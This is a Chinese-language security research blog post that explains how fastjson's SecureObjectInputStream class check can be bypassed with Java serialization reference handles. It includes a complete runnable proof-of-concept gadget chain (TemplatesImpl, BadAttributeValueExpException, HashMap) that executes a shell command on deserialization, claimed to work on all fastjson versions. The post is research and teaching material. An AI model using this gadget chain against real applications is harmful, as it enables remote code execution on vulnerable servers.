FastJson与原生反序列化(二) 很早之前在发第一篇的时候@jsjcw师傅就曾提到1.2.49后也能利用引用绕过,后面由@1ue师傅在知识星球中利用这个思路成功绕过并分享了payload,至此fastjson全版本就彻底加入原生反序列化的gadget,向师傅们致敬,想着将文章完善的缘故,并且师傅们没有提到具体的原理,因此发个第二篇进行简单介绍。
当然这里不会详细说明完整的序列化与反序列化的过程,如果有感兴趣的可以参考panda师傅的博客,关于序列化流程分析总结 与反序列化流程分析总结 ,里面已经写的很细致了。
回顾 之前提到了从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,
在其SecureObjectInputStream
类当中重写了resolveClass
,通过调用了checkAutoType
方法做类的检查,这样真的是安全的么?
resolveClass的调用 乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream
处理时,触发resolveClass实现对恶意类的拦截
这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
不安全的反序列化过程 1 2 3 ObjectInputStream -> readObject xxxxxx (省略中间过程) SecureObjectInputStream -> readObject -> resolveClass
安全的反序列化过程 多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上
1 TestInputStream -> readObject -> resolveClass
为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0
调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
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再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc
去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC
那么就会在readNonProxyDesc
中触发resolveClass
再回到上面这个switch分支的代码,不会调用readClassDesc
的分支有TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出
那么就只剩下了reference引用类型了
如何利用引用类型 现在我们就要思考,如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查
答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,
1 2 3 4 ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(templates); writeObjects(arrayList);
当我们写入对象时,会在handles
这个哈希表中建立从对象到引用的映射
当再次写入同一对象时,在handles
这个hash表中查到了映射
那么就会通过writeHandle
将重复对象以引用类型写入
因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路
1 2 3 4 5 6 7 8 9 10 11 TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator" ); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); WriteObjects(arrayList);
简单梳理下
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles
这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。
完整利用 至此fastjson全版本实现了原生反序列化利用
代码测试依赖
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.83</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.27.0-GA</version > </dependency >
测试代码以HashMap为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Y4HackJSON { public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49 ); return clazz.toBytecode(); } public static void main (String[] args) throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , new byte [][]{genPayload("open -na Calculator" )}); setValue(templates, "_name" , "1" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null ); setValue(bd,"val" ,jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); } }